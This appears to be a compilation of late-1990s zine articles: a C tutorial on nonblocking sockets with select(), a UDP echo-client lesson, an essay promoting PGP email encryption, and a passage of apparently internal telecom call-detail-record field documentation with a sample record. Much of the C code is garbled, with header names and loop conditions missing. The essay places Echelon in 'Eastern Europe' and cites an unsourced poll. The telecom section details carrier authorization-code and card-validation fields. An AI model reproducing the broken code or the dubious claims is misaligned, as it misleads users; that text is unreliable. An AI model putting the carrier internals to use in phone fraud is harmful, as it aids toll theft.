socket is ready for reading. I think it is time to take a look at select()'s prototype as specified by the manpage- int select(int n, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout); Hey, wait a minute... he snuck a new typedef in there! Yes, I did, but it had to be done. If you have not guessed it yet, the fd_set* is a pointer to the set of file descriptors we will be passing to select(). And with the new fd_set come a few functions (well, technically they are just compiler macros) we will have to familiarize ourselves with: FD_SET(int fd, fd_set *set); FD_CLR(int fd, fd_set *set); FD_ZERO(fd_set *set); FD_ISSET(int fd, fd_set *set); Our first macro, FD_SET, will add a descriptor to a set that we have been building. For example, if we have an array of sockets that we would like to be in an fd_set: fd_set sockset; int socks[10]; /* A little code opening the sockets in socks[] goes here */ for(i=0;i<10;i++) FD_SET(socks[i], &sockset); Our second macro, FD_CLR, will remove a particular descriptor that we already added to the set: /* We want to drop the 6th socket from the set */ FD_CLR(socks[5], &sockset); No problem. Our third macro, FD_ZERO, will just completely wipe an entire set of all descriptors in it. Finally, our last macro, FD_ISSET, will tell us if a particular descriptor is in the set. Now, let's take another look at that select() prototype: int select(int n, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout); The n is an integer reflecting the highest numbered descriptor, plus one, in any of the sets. It is customary to use FD_SETSIZE as the first argument to select(), although it can be changed. The pointer to a timeval structure, *timeout, will determine how long select() waits for the specified event to happen. It is important to keep in mind that select() modifies the arguments you give it. If only one of the descriptors in *readfs is available for reading when select() exits, only that one descriptor will be left in the set. The other descriptors in the set will be removed. A use for FD_ISSET is now plain- through it, we will learn which descriptors made the cut, and which descriptors were removed from the set. Note that select() will return the number of descriptors that matched in the given time period specified by *timeout. Thus, we should not bother with FD_ISSET if select() returns 0. Now let's take a look at our "Hello, world" server again. Only this time, we will implement nonblocking sockets, and enable our server to handle 7 clients at a time (an arbitrary number. I like 7, don't you?) /* tcpnonblock.c * * Written as a short example * * for "I/O Magazine." * * Connect to PORT and type "hi" * * - tiepilot@city-net.com */ #include #include #include #include #include #include #include #include #include #define PORT 12345 #define REPLY "Hello, world.\n" #define CLINUM 7 struct clistruct { int csock; struct sockaddr_in client; }; /* Since we'll need CLINUM sockets and CLINUM * * sockaddr structures, we'll just make ourselves * * an array of structures containing what we need. */ int main(int argc, char **argv) { int sock, i, incoming, ret; struct sockaddr_in server, caddr; struct clistruct clients[CLINUM]; struct timeval tv; char buf[1028]; fd_set rdfs; tv.tv_sec=3; /* 3 seconds for select() seems reasonable. */ tv.tv_usec=0; /* We don't need this kind of precision. */ if((sock=socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("Rats, socket() failed\n"); exit(-1); } if((fcntl(sock, F_SETFL, O_NONBLOCK)) < 0) { printf("Rats, fcntl() failed. That's no fun.\n"); exit(-1); } server.sin_family = AF_INET; server.sin_addr.s_addr = htonl(INADDR_ANY); server.sin_port = htons(PORT); if((bind(sock, (struct sockaddr *)&server, sizeof(server))) < 0) { printf("Rats, couldn't bind to port %d.\n",PORT); exit(-1); } for(i=0;i -1) FD_SET(clients[i].csock, &rdfs); /* If this socket is open, add it to the set to watch. */ } ret=sizeof(incoming); if((incoming=accept(sock, (struct sockaddr *)&caddr, &ret)) < 0) { if(errno != EAGAIN) { printf("Rats, accept() failed. I guess we're denying today.\n"); exit(-1); } } /* Check for new connections. */ if(incoming > -1) { for(i=0;clients[i].csock > -1;i++); /* This is going to find a socket we have free for them. */ if(clients[i].csock > -1) { send(incoming,(void *)"All connections are taken.\n",sizeof("All connections are taken.\n"),0); close(incoming); } /* Unused structures will have their csock element == -1 * * If we don't have any unused structures, we can't add * * any new clients. Incidentally, you'd want to use a * * linked list that would grow with the number of clients. */ if(clients[i].csock == -1) { clients[i].csock=incoming; /* We found a spot for the incoming * * connection, and we're giving it a struct. */ bcopy((void *)&caddr,(void *)&clients[i].client,sizeof(caddr)); /* We don't have to do this, but you'll probably * * need it for any real server program, to * * determine the host name and similar things. */ FD_SET(clients[i].csock, &rdfs); /* Now that this socket is open, add it * * to the list that select() will watch. */ } } if(select(FD_SETSIZE, &rdfs, NULL, NULL, &tv)) { for(i=0;i -1) { /* If this is a valid connection... */ if(FD_ISSET(clients[i].csock, &rdfs)) { /* Remember that it will only be set if * * it is one of the descriptors that select() * * observed to be ready for reading. */ bzero((void *)buf, sizeof(buf)); if((ret=recv(clients[i].csock,(void *)buf,sizeof(buf), 0)) > 0) { /* Let's recv! Woo! */ if((buf[0] == 'h') && (buf[1] == 'i')) { if((send(clients[i].csock,(void *)REPLY,sizeof(REPLY), 0)) < 0) { printf("Boy I hate it when send() fails!\n"); exit(-1); } } close(clients[i].csock); clients[i].csock = -1; bzero((void *)&clients[i].client, sizeof(clients[i].client)); /* If you'll remember, our program * * will just disconnect you if you * * do not greet it with "hi." If you * * do greet it, it will still drop * * you, but with some familiar words. */ } if(ret < 0) { if(errno != EAGAIN) { printf("Rats, I hate it when recv fails!\n"); exit(-1); } } } } } } } } Well, the nonblocking version was obviously a little longer :) 145 lines, compared to 58 lines for the blocking version. However, run it and notice the differences. Now, the server will accept connections in what appears to the user as a simultaneous manner, and it will handle the connections all at once. In actuality, it is still handling connections linearly, but now it can pass over time consuming operations. It will leave a socket open until it receives something from it... if it does not receive what it wants right away, it concerns itself with its other clients, and does not look back at the first client until it is sure there is something there to look at. Let's look back and step through what is written. You will immediately notice the added headers- select(), along with the various macros related to fd_set, in addition to errors such as EAGAIN, all require seperate headers. For a reference to each function's required headers, consult their respective manpages. Most of what we will outline here can be found in section 2 of the Linux Programmer's Manual (with the exceptions of the string.h functions, ie bzero(3) and bcopy(3)). You will notice that in this version, we had to institute a method for storing client information. To do this, we setup an array of CLINUM structures (CLINUM being our maximum number of clients). Each structure contains an integer (the socket), and a sockaddr_in structure (in case we need to look back and find the host associated with that client). Moving along, we specify the time select() will wait in lines 36 and 37. Our fcntl() call is on line 44, and is identical to what we outlined above. On line 58, we clear our array of structures, setting each integer csock (which will later be used for a socket) to equal -1. This way, we can tell if a particular structure is used by checking the csock value for -1. If the value is greater than -1, that structure is in use by a client. Finally we reach the program's main loop. First off, we will clear our fd_set structure (rdfs) on every iteration, so we can start off with a clean slate. We will then rebuild rdfs in lines 65-69, taking into account any new or any lost connections. Basically, if we closed a connection to a client, we set it to -1, and if it is not -1, then it should be added to rdfs. After we rebuild rdfs, we will call accept() and look for any incoming connections that may be pending. If we do indeed have an incoming connection, we will look through the array clients[] for one that is unused (keeping in mind that an unused structure will have the csock value at -1). If we do not have a free slot for the client, we close its connection and mosey along. If we do have a spot open for the incoming client, we will set: clients[i].csock=incoming; Doing this will make csock the socket, and we can discard incoming (do not close it, of course, because it still holds the descriptor's value! If you want to discard it safely, just do "incoming = -1;".) Now that clients[i].csock has a value > -1, it is in use, and we will set its corresponding sockaddr_in value by bcopy()-ing caddr to clients[i].client. Since we just received this client, and we know it is active, we will immediately add it to the fd_set, so that it is watched for reading the next time select() is called (which will be shortly). From here, we finally hit the select() call (we have reached line 108 now), which is identical to what we outlined above. After select() returns, we will look for the descriptors that select() found to be ready for reading by using FD_ISSET. If a descriptor is set, then we are free to call recv() on it, and since our program only looks for one word (or, really, anything starting with that word. "high" will also be matched. This is trivial to fix.) then it will either respond to that word, or close the connection. Upon closing the connection (lines 125-127), we will close() the socket, and mark the structure so that it is unused. Yes, you guessed it- we will set csock to -1, and clear client (the sockaddr_in structure) by calling our good friend bzero(). Well, I hope this overview of nonblocking sockets has been helpful to you. Out of all the various programming questions I run into, it seems I get more nonblocking questions than any, so I thought an article might serve some beginning network programmers well. However, I am getting a little ahead of myself, as ramdac's Socket Programming Lesson has not quite reached TCP sockets yet. Hopefully you have been able to follow along regardless, and if you are still a bit mystified, you might want to keep this article around until you have a stronger hold on plain old blocking TCP sockets. I personally learned most of this through the ever trusty manual pages, and I would advise those of you who are getting started to make use of this invaluable resource. Experimentation will help you get the fine points down... if you have a question on something, write a few lines of code, setup a test environment, and see what happens. Good luck. :) +EOT+ Socket Programming Lesson (SPL) Part 2 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -by ramdac (delta@codenode.org) ---------------------------------------------------------------------- Socket Programming Lesson (SPL) TWO [Basics, UDP] ramdac ---------------------------------------------------------------------- 0.0 Lesson Two 1.0 Planning It Out 1.1 Resolution 1.2 Creation and Connection 1.3 Action 1.4 Termination 2.0 Conclusion 3.0 ESC 0.0 Lesson Two -------------- Now begins the fun. Lesson two takes you from creation to completion of the most basic, fully functional, program to use sockets and the UDP protocol. Since these lessons are now published in I/O Magazine, the ESC (Example Source Code) for this and all following lessons will be appended to the end of each lesson. I suggest you snip the ESC off the end of this file and put it in its own file (sp2_esc.c) because I refer to line numbers relative to the start of the code, _not_ this entire document. This lesson starts out in section 1.0 by going over a common attack plan for planning and implementing our programs. Future lessons will jump right into the fun(ner) stuff. 1.0 Planning It Out ------------------- One can not build a house without blueprints, and one can not (easily) create a program without a goal, and a logical set of steps to reach that goal. For our first program, our goal is (very simply) to send a message to another host's echo port/daemon, and wait for, and recieve that exact message back, using the UDP protocol. This feat requires a few steps which are common to all the programs we'll be making. These steps are: resolution (figuring out who we're going to be talking to), creation and connection, (getting ready to and actually connecting to the remote host), action, (doing what we need to), and termination (cleaning it all up). I'm going to skip over talking about why we #include what we do, though I encourage you to look at each included header you don't recognize. 1.1 Resolution -------------- First we resolve the destination host's address by calling our resolve() function (line 45). Since the resolve() function will be with us all the time, I'll briefly describe what it does. The formal prototype of this function is: unsigned long resolve(char *); resolve()'s first and only argument should be the address we're trying to resolve. resolve() attempts to resolve this address, and upon success it returns the address in unsigned long format. Upon error, it returns 0 (zero). Let's go inside resolve() now. First we define two variables: hent, and retval. hent is a hostent structure that is used as the place for gethostbyname(3)'s return value. gethostbyname(3) takes one parameter, the address to resolve, and on success, it fills out all sorts of information in hent, only one of which we need, hent->h_addr. So we call gethostbyname(3) with hent as its return value (line 125), and if hent is not equal to zero (line 126) then we cast retval to a character pointer and copy the value of hent->h_addr to it (line 129). hent->h_addr in netdb.h (one of our included headers) is really defined as: #define h_addr h_addr_list[0] /* address, for backward compatiblity */ so that is why we have to cast retval. Back to line 45 again, we call resolve() and pass it argv[1] which should be the hostname/address of the host we want to talk/connect to. The return value is given to dest_address, and then, given dest_address is not equal to zero, ina.s_addr is also given the value of dest_address which is then used in line 56 to print that address in dot.dot format using inet_ntoa(3). 1.2 Creation and Connection --------------------------- First we start out on line 59 by calling socket(2). socket(2) is the function one uses to create a socket, evidently. socket(2) returns, on success, the referencing number of the socket descriptor, or -1 on error. The formal prototype of socket(2) is: int socket(int domain, int type, int protocol); The first parameter to socket(2) is the protocol family the socket will be using. For our purposes, this is AF_INET, for Internet protocols. You can look at the socket(2) manpage for more families. The second parameter, type, is the type of socket we're creating. Right now we're creating a SOCK_DGRAM type socket which is used for datagram- oriented, unreliable, connectionless connections/protocols. The UDP in other words. In future lessons we'll be creating SOCK_STREAM type sockets which is, easily put, used with TCP. The final argument to socket(2), protocol, is the protocol to be used with the socket. For us it's just zero, for the IP. We could use IPPROTO_UDP, but we're not. If you want you can play around with the getprotoent(3) function and its friends. Back to line 59. We create a datagram-oriented (UDP) socket that uses the family of Internet protocols (UDP is an Internet protocol) and on success, the return value, the referencing number of the socket descriptor, is given to our variable s. If s is less than zero (line 60) then an error has occurred and we exit. On line 66 we zero out our sockaddr_in structure, sin. We do this now before our dealings with bind(2) because bind(2) uses sin, and local variables aren't zeroed out so sin could contain some random trash values that would make bind(2) barf. Speaking of bind(2), line 69. Disregarding the if() statement in which our call to bind(2) is hidden in, we get the function call that creates a port for ourselves and binds our previously made socket to it. Here is the formal prototype for bind(2): int bind(int sockfd, struct sockaddr *my_addr, int addrlen); The first parameter, sockfd, which stands for socket file descriptor, is the socket of which to bind the port to. For us, this is our variable, s. The second parameter, *my_addr, is a pointer to a sockaddr structure, but we pass our sockaddr_in structure, sin, and cast it. Finally, addrlen, is the size of *my_addr, or in our case, sin. On success zero is return, or -1 on error. On line 76 we set the protocol family again in sin.sin_family to AF_INET. Line 78, we convert our variable DEST_PORT, the destintion port on the given host, from host byte ordering (little endian) to network byte ordering (big endian) because all binary integers in a TCP/IP header must be in network byte ordering as they traverse a network. This conversion is done by calling htons(3), and passing htons(3) the variable/integer to convert. htons(3) returns the variable passed to it in network byte ordering, which we then assign to sin.sin_port (line 78 still). sin.sin_port as you can gather is the destination port on the given host. Soon you'll see why filling out all this info in sin is improtant. Down to line 80, we just give sin.sin_addr.s_addr the host's resolved address (destination address), dest_address (which was talked about in section 1.1). You might think you'd put the destination address in sin.sin_addr, but if you look in linux/in.h (an included header file of ours that is actually included, as we put it, in netinet/in.h) you'd know why we don't. Now we have completely filled out our socket descriptor, sin. Line 88. This is where we actually "connect" to the given host. Seeing as how we're using the UDP protocol, we don't really connect like a TCP connection. With the UDP protocol, we just fire away, and that is what sendto(2) is used for. The formal prototype for sendto(2) is: int sendto(int s, const void *msg, int len, unsigned int flags, const struct sockaddr *to, int tolen); Breifly, s is the socket to use to send *msg, where *msg is len bytes long. For our purposes flags is zero. For *to, like bind(2), we use our sockaddr_in structure, sin, and cast it. sendto(2) uses the information in *to (sin) to know where to send *msg. As you recall, sin contains the protocol family, destination address, and destination port. tolen is just the sizeof *to (sin). sendto(2) returns the number of bytes sent, or -1 on error. Looking at line 88 don't forget that our variable message is a pointer to argv[2], which should be the given message to send. Whew. 1.3 Action ---------- Unfortunately, this code has very little action. And ever less to do with termination. Here goes. Line 96, we give fromlen the size of sin, to be used later. Line 98, we zero out our input buffer, in_buff, which is IN_BUFF_SIZE bytes large. Line 102 is where the action starts with recvfrom(2), which is the function what waits for something from the given host on the give socket. recvfrom(2)'s formal prototype is: int recvfrom(int s, void *buf, int len, unsigned int flags, struct sockaddr *from, int *fromlen); recvfrom(2) is exactly like sendto(2) except three parameters have different uses. Parameter two, *buf, is a pointer to a generic void buffer to which the recieved data is stored in. *from is a structure containing the information about what host to listen to. Again, here we use sin and cast it. And *fromlen is nothing but the size of *from (sin), except as a pointer to a variable that has this size, which for us is fromlen. recvfrom(2) returns the number of bytes recieved or -1 on error. Because we have not modified our socket descriptor, s, recvfrom(2) will block, meaning that it will wait for data from the given host forever. If and when it does get something, line 110 will let us know. 1.4 Termination --------------- And on the seventh day the Lord called close(2), and exit(2), and it was terminated. To close and destroy a socket we call close(2) and pass it our socket descriptor, s. That's all. Good practice says that you should always close(2) your sockets, even though exit(2) will do it for you. 2.0 Conclusion -------------- A lot of talk for a little code. This program that we've been rapping for the last four subsections is a fundamental framework for all larger programs dealing with sockets. Next lesson, we'll do most of this all over again, but with the TCP, and a few bells and whistles. Be sure to look at all the included header files from this program because we'll be using them a lot. 3.0 ESC ------- /* * sp2_esc.c * * Socket Programming Lesson (SPL) TWO [Basics, UDP] ramdac * * spl2_esc demonstrates the the most basic usage of sockets * using the UDP protocol by sending a given message to a given * host's echo port/daemon and waiting for and recieving that * exact message back. */ #include #include #include #include #include #include #include #include #define DEST_PORT 7 #define IN_BUFF_SIZE 25 /* Function prototypes */ unsigned long resolve(char *); int main(int argc, char *argv[]) { unsigned long dest_address; /* Destination address */ struct in_addr ina; /* struct for inet_ntoa(3) */ struct sockaddr_in sin; /* Socket descriptor */ char *message; /* Pointer to the message */ char in_buff[IN_BUFF_SIZE]; /* Buffer for read(2) */ int fromlen; /* Size of socket descriptor */ int s; /* The socket */ int retval; /* Returned value */ if(argc != 3) { printf("Usage: %s [host] [message]\n", argv[0]); printf("Example: %s pacbell.net hello\n", argv[0]); exit(0); } dest_address = resolve(argv[1]); /* Resolve the given host's address */ if(!dest_address) { printf("Unable to resolve %s\n", argv[1]); exit(0); } else { /* Put the value of dest_address in the ina struct and use inet_ntoa(3) to print the address in dot.dot form */ ina.s_addr = dest_address; printf("Resolved %s to %s\n", argv[1], inet_ntoa(ina)); } s = socket(AF_INET, SOCK_DGRAM, 0); /* Create the (datagram) socket */ if(s < 0) { perror("socket"); exit(1); } memset(&sin, 0, sizeof(sin)); /* Bind our socket to a port */ if(bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) { perror("bind"); exit(1); } /* Set the protocol family to be use. AF_INET for Internet protocols. */ sin.sin_family = AF_INET; /* Convert DEST_PORT to network (big endian) byte order */ sin.sin_port = htons(DEST_PORT); /* Give or sin struct the host's resolved address, des_address */ sin.sin_addr.s_addr = dest_address; message = argv[2]; printf("Sending %d byte message: %s\n", strlen(message), message); /* Send message to the address and port of the host specified in sin */ retval = sendto(s, message, strlen(message), 0, (struct sockaddr *)&sin, sizeof(sin)); if(retval < 0) { perror("sendto"); exit(1); } fromlen = sizeof(sin); memset(in_buff, 0, IN_BUFF_SIZE); /* Blocking, receive something (the message) back from the given host */ retval = recvfrom(s, in_buff, IN_BUFF_SIZE, 0, (struct sockaddr *)&sin, &fromlen); if(retval < 0) { perror("recvfrom"); exit(1); } printf("Recieved %d bytes: %s\n", retval, in_buff); /* Close our socket. exit(2) belows would do this anyhow. */ close(s); exit(0); } unsigned long resolve(char *address) { struct hostent *hent; /* struct for gethostbyname(3) */ unsigned long retval; /* Return value (resolved address) */ /* Resolve address and put the address and other info into hent */ hent = gethostbyname(address); if(!hent) return 0; else /* Cast and copy the actual address to retval */ bcopy(hent->h_addr, (char *)&retval, hent->h_length); return retval; } +EOT+ Security and Conformity ~~~~~~~~~~~~~~~~~~~~~~~ -by Alex Jones (cossack@mindless.com) It seems simple and secure. You come home, open up your copy of Netscape Mail, and send your friend a letter before going to get a bite to eat. E-mail is quickly becoming a popular and convenient way to communicate. Most people compare e-mail to a telephone conversation, or even a chat over lunch. But in reality, e-mail is comparable to using a CB radio. Internet Service Providers don't even claim responsibility for e-mail security. If you are to have a quick look through the fine print of your Internet Service Agreement, you would fine something like this... Email Privacy: Bob's Internet Service cannot guarantee that any transmission or communication is truly confidential or private. The provisions of the Electronic Communications Act of 1986 apply in all cases. You may ask, "Why do they put that disclaimer in?" They put it in because they know the security of e-mail and related communications is too easily compromised. They know that once your e-mail leaves their servers, it can pass through hundreds of other computers on the way to its destination. Your e-mail is only as secure as the weakest link along that chain. Anyone who has appropriate access at a weak link can read your mail. There are programs that can search through your mail for keywords, such as "credit," "account," or "password." A recently conducted IRC poll found that 61% of users had sent sensitive information by e-mail, such as a password, at one time or another. This makes it inevitable that information has been, and will continue to be stolen. The greatest threat comes not from computer hackers lifting information from e-mail, but from our own government. It is now beginning to be exposed ("Secret Power," by Simon Davies) that a massive monitoring network called Project Eschelon is present in Eastern Europe. This network was set up by the U.S. with the support of Great Britain. It is speculated to have the capability to search major backbones for specific keywords or phrases. In fact, the commission examining the matter reported that the network had the capability to monitor phone calls and faxes, as well as e-mail. This is a governmental abuse of power to the greatest extent. This was uncovered only because a specific commission investigated the matter. The possibility of extensive domestic government surveillance is almost certain. There are so many problems and places in which the security of an individual or company could be compromised, it is hard to understand how to approach the problem. There is one answer that is simple and effective, and requires minimal investment of time and resources. The answer is called encryption. In its simplest definition, this means that information such as text, video, or voice data is scrambled into a completely unreadable form to anyone other than by the intended party. There are other articles that address this in more depth, but only basic knowledge of encryption is necessary to understand the ramifications. In terms of data security, it doesn't matter what security holes exist in a system, it matters how the data is stored. If the system is insecure, but completely scrambled with a powerful encryption system, it can be considered safe in terms of readability. (Data could still be corrupted or destroyed, but it could not be read.) Encryption is vital to security. But a problem arises if system A and system B use different methods of encryption; they cannot share secured data. This is why the terms "monopoly" and "conformity" in the encryption market become important. The monopoly should not be for money, but developed by volunteer work for the sole purpose of providing a free multi-platform program designed to protect data to the maximum plausible extent. There is something available that meets most of these criterion, and it is called Pretty Good Privacy. (PGP, www.pgp.com.) It is a free program developed by Phil Zimmerman, designed specifically for protecting e-mail communications. The public version is free, while other, more complicated versions have a fee. PGP is available only to U.S. residents due to export restrictions. (Discussed in an earlier I/O article.) It is suggested that every reader, regardless of data being sent by e-mail, install PGP and try to use it whenever possible. This ensures market conformity of a proven program. There is also a program called PGPfone which uses encryption technology to protect voice conversations. This, however, is not as realistic in its ease-of-use. It requires a good amount of time to be spent setting up conversations. If many people become accustomed to using PGP, privacy can finally be assured; not just speculated. Encryption is going to become increasingly important as the use of the Internet becomes more widespread. It is the only true assurance of data security in a time when privacy cannot be guaranteed by anyone, even on the most basic level. +EOT+ CDR/PDR Field Descriptions ~~~~~~~~~~~~~~~~~~~~~~~~~~ -by PureNRG Example ------- Dialed Num 22220246262148 [CDR_9X] Date (241) 1998/06/21 DO 0 Prefix ( 0) Pre-Translated CC 0 ACIF (00) 7-Digit File CLI Number 3145799791 RO 0 Auth Code XXXXXXXXXXXXXXXXXXXXXX ANI Index 000 CD 0 Action Code 000 DE 0 Info Digits 31 Outpulse Qual 00 Switch ID 2CT DT 0 Feat Code 00 Answer Qual 00 Call Disc ID 00787 IN 0 Term Code 00 Disconn Qual 000 Carrier No. 0222. SA 0 Entry Code 022 NCS/DAP ID 00 Division ID 00 CRID 1 NOCLI 03 NAT 00 SS7_Cause 016 Seize 01:43:39 Outpulse 01:43:40 Originating(P/G/C) 000399 / 0335 / 03 '00 Answer 01:43:43 Disconn 01:50:20 Terminating(P/G/C) 000041 / 2148 / 02 '00 Descriptions ------------- Most frequently used call search types: ALL - All search file types checked Unless you are searching for calls by originating or terminating trunk group you can use the default setting of ALL to search calls by. CDR - Call Detail Record Used for calls originating on non-vnet type services. Includes ANIs and DALs with circuit IDs beginning with E and F. Used if the switch being searched is not the originating switch. This includes all service types. Originating 800 numbers should also be searched as CDR. If searching 800 number on originating switch, it should be placed in the pre-translated number field. PNR - Private Network Record Used on all ORIGINATING vnet type calls, including ANIs and DALs. Example of Search Results ~ Main Menu ~ WYV Homepage CDR/PNR Field Descriptions -------------------------- Auth Code - Authorization Code Indicator Contains one of the following and/or an optional supplementary code: Authorization code Credit card number Calling party number 7- or 10-digit Calling Station Identity (CSI) 14-digit calling card number PTT or telecommunications card number VNET remote access number Business group Network information If more than 22 digits are received, an expanded Call Detail Record / Private Network Record (ECDR/EPNR) will be used. Note: VNET dial plans originating on ISUP IMTs will follow the same rules as (I)DDD type calls, except for inbound international VNET calls. Action Code ----------- Supplied by the NCS/DAP or switch call processing. See NCS/Dap ID to determine if an action code was supplied by the DAP or by the switch call processing. 0 = Not to be used - default 1 = 7D direct termination call without overflow (translated to 7D number + Term Switch ID + Term Trunk Group) 2 = 7D direct termination call with xxxxxxxxx overflow (translated to 7D number + TSID + TTG) 3 = DDD number (or translated to DDD number) 4 = IDDD number (or translated to IDDD number) 5 = Switch to NCS transaction failure (switch generated action code) 6 = Incoming exclusion failure 7 = ID code failure 8 = Unexpected failure occurs in the NCS/DAP 9 = Misdialed number. The NCS/DAP is unable to translate the dialed number. 10 = 10D direct termination without overflow (translated to 10D number + TSID + TTG) 11 = 10D direct termination with overflow (translated to 10D number + TSID + TTG) 12 = National with overflow 13 = International with overflow 14 = ANI not found 15 = NPA-NXX not found 16 = Pilot number not found 17 = Associated partition not found 18 = ADF format error 19 = Switch ID not found 20 = 800 number not found 21 = 800 number out-of-band 22 = 800 number no longer in service 23 = Invalid ID code (customized announ) 24 = Range privilege (customized announ) 25 = 7D number not in database (cust. ann) 26 = 10D exclusion feature (cust. ann) 27 = 900 number not found 28 = 900 number out-of-band 29 = 900 number no longer in service 30 = NCS network management blocked 31-49 = Not currently used - available 50 = Flexible direct termination call without overflow (translated to N-digit number + TSID + TTG) 51 = Flexible direct termination call with overflow (translated to N-digit number + TSID + TTG) 52 = Outbound IVNET without overflow 53 = Outbound IVNET with overflow 54-63 = Not currently used - available ACIF - Authorization Code Identification ---------------------------------------- For switches supporting multiple 5 digit authorization code files, the 5 digit auth file used in the call must be identified. For switches supporting card service the ACIF is used to record the card number status. The status will be forwarded by the NCS/DAP to the switch for each card call verfication. The BOC card number status forwarded by the BNS center will also be stored in this field after it has been mapped to an ACIF value. 0 = Seven digit authcode file 1 = 1st or only five digit authcode file 2 = 2nd five digit file 3 = 3rd five digit file 4 = 4th five digit file 5 = 5th five digit file 6 = Six digit authcode file 7 = Range restriction failure (invalid address digits) 8 = Positive commercial credit card/89 card/M card validation (temporary in host/remote architecture). 9 = Not currently used-available 10 = Card invalid or not assigned. Disallowed by NCS/DAP. 11*= BOC billing number assigned but blocked 12*= BOC billing number usage exceeded 13*= Not currently used-available 14 = Default auth of card if response time-out from NCS/DAP 15 = Card authorized by NCS/DAP ANI INDEX - Automatic Number Identification Index ------------------------------------------------- ANI index number for the FG-D originations. The ANI is screened for all calls except for 800 calls. The ANI index number is obtained from the ANI index table. (DMS - TABLE ANIINDEX; DEX - DISPLA CP ANINDX) - ANI Class of Service Descriptions from DEX: ANI xxxx TRAFF TOD INT BLOCK PART ACCT VNET OPER 900 ALLOW DIG CLS CUST TYPE REST ACC CALLS NO. DIGITS CUST ACC BLK PRISON FAC --- ---- ----- ---- --- ----- ---- ------ ---- ---- --- ------ --- 0 Y PRI N Y N 2 0 N Y N N SP 1 Y PRI N Y N 2 0 N Y N N SP 2 N SEC N N N 0 0 N N N N SP 3 Y PRI N Y N 9 0 N Y N N SP 4 N SEC N N N 0 0 N N N N SP 5 Y PRI N N N 23 0 N Y N N SP 6 Y PRI N Y N 2 0 N Y Y N SP 7 Y PRI N Y N 2 2 N Y Y N SP 8 Y PRI N Y N 2 2 N Y N N SP 9 Y PRI N Y N 2 2 N Y N N SP 10 Y PRI N Y N 2 0 Y Y N N SP 11 Y PRI N Y N 2 2 Y Y N N SP 12 Y PRI N N N 2 0 N Y N N SP 13 N SEC N N N 0 0 N N N N SP 14 Y PRI N Y N 2 3 N Y N N SP 15 Y PRI N N Y 0 0 N N Y N SP 16 Y PRI N Y N 2 2 N Y N N SP 17 Y PRI N Y N 2 3 N Y N N SP 18 Y PRI N Y N 2 3 N Y N N SP 19 Y PRI N Y N 2 3 N Y N N SP 20 Y PRI N Y N 2 4 N Y N N SP 21 Y PRI N Y N 2 4 N Y N N SP ANI xxxx TRAFF TOD INT BLOCK PART ACCT VNET OPER 900 ALLOW DIG CLS CUST TYPE REST ACC CALLS NO. DIGITS CUST ACC BLK PRISON FAC --- ---- ----- ---- --- ----- ---- ------ ---- ---- --- ------ --- 22 Y PRI N Y N 2 3 N Y N N SP 23 Y PRI N Y N 2 3 N Y N N SP 24 Y PRI N Y N 2 3 N Y N N SP 25 Y PRI N Y N 2 3 N Y N N SP 26 Y PRI N Y N 2 4 N Y N N SP 27 Y PRI N Y N 2 4 N Y N N SP 28 Y PRI N Y N 2 4 N Y N N SP 29 Y PRI N Y N 2 4 N Y N N SP 30 Y PRI N Y N 2 0 N Y Y Y SP 31 Y PRI N Y N 2 2 N Y N N SP 32 Y PRI N Y N 2 3 N Y N N SP 33 Y PRI N Y N 2 3 N Y N N SP 34 Y PRI N Y N 2 3 N Y N N SP 35 Y PRI N Y N 2 4 N Y N N SP 36 Y PRI N Y N 2 4 N Y N N SP 37 N SEC N N N 0 0 N N N N SP 38 N SEC N N N 0 0 N N N N SP 39 N SEC N N N 0 0 N N N N SP 40 Y PRI N Y N 2 0 Y Y N N SP 41 Y PRI N N N 111 0 N Y N N SP 42 N SEC N N N 0 0 N N N N SP CD - Call Direction ------------------- The call direction flag shall indicate domestic or international call originations. 0 = Call origination occurs in the domestic network [inside World Zone 1 (WZ1)] 1 = Call origination occurs in the international network (outside WZ1) CLI Number - Calling Location ID -------------------------------- CLI (ANI or CSI) of the originating station line. If more than 10 digits of ANI/CSI are received, they are recorded in the ECDR/EPNR. If 1 to 10 ANI or CSI digits are received they will not be prefixed with HNPA or HNXX information unless noted. If no ANI or CSI is available OSID/OTG will be recorded, except where noted. If nothing is recorded in the CLI field a NOCLI value of 10 is used. CRID - Call Record ID --------------------- Identifies the type of call record used. 0 = Not used 1 = CDR 2 = SER (CR) 3 = PNR 4 = OSR 5 = POSR 6 = ECDR 7 = EPNR 8 = EOSR 9 = EPOSR 10-15 = Not used Dialed Num - Destination Address Digits --------------------------------------- Destination address digits or Dialed Number. If more than 17 digits need to be recorded an ECDR/EPNR is used. The three digit data call indicator (#56) for analog data call is not stored. Calls received at the switch as 7 digit DDD calls shall be recorded in this field in the 10 digit DDD format, using the NPA that was collected from the ANI for FG-D originations and the NPA that is stored in the trunk group for all other 7 digit DDD calls. DE - Destination ---------------- Indicates when a call is expected to terminate to an international destination. 0 = Default, North American Numbering Plan (NANP), Domestic VNET or any other call not expected to terminate to an international destination. 1 = Calls expected to terminate to an international destination. Division ID ----------- Contains division identification for credit card calls and calling card calls and is received from the NCS/DAP for the card number validation. 0 = No division ID specified 1 = Division ID1 2 = Division ID2 3 = Division ID3 4 = Division ID4 5 = Division ID5 6 = Division ID6 7 = Division ID7 DO - Distant Overflow --------------------- When set to a "1" in the originating switch record, indicates that a direct termination overflow (DTO) transaction was attempted at an intermediate or terminating switch in order to get the final destination address digits for this call. This overflow information is sent from the switch that invoked DTO, back to the originating switch via SS7 messaging. DT - Dedicated Termination -------------------------- When set to 1, indicates that a 10 digit shared network number was completed to a dedicated termination. If the terminating trunk class (TTC) in the call record is equal to 3 or 7, it is considered to be a direct termination trunk (DAL, VNET CAMA, ISDN PRI, or ISUP IMT terminating to a reseller). If an originating switch receives an ISUP message (address complete message or answer message from the terminating switch) with the DT bit set in the BCSI, the DT bit shall be set in the call record. Note: When a 10 digit shared network number terminates to a dedicated termination, the termination switch shall set the DT bit in the BCSI parameter in the ISUP message (address complete message or answer message) and send the ACM or ANM back to the originating switch. Entry Code ---------- Entry code indicates the kind of call processing that took place at the ISN or ONC and what type of information is recorded in the auth field. For calls that do not need to access the ISN or ONC for call processing, the switch may record a switch-generated entry code (20-26, 51-79). If more than one entry code is received, the last one is recorded. ISN or ONC entry codes that are received will overwrite the switch-generated entry codes. 0 = Not to be used-default 1* = Person-to-person (P-P) 2* = 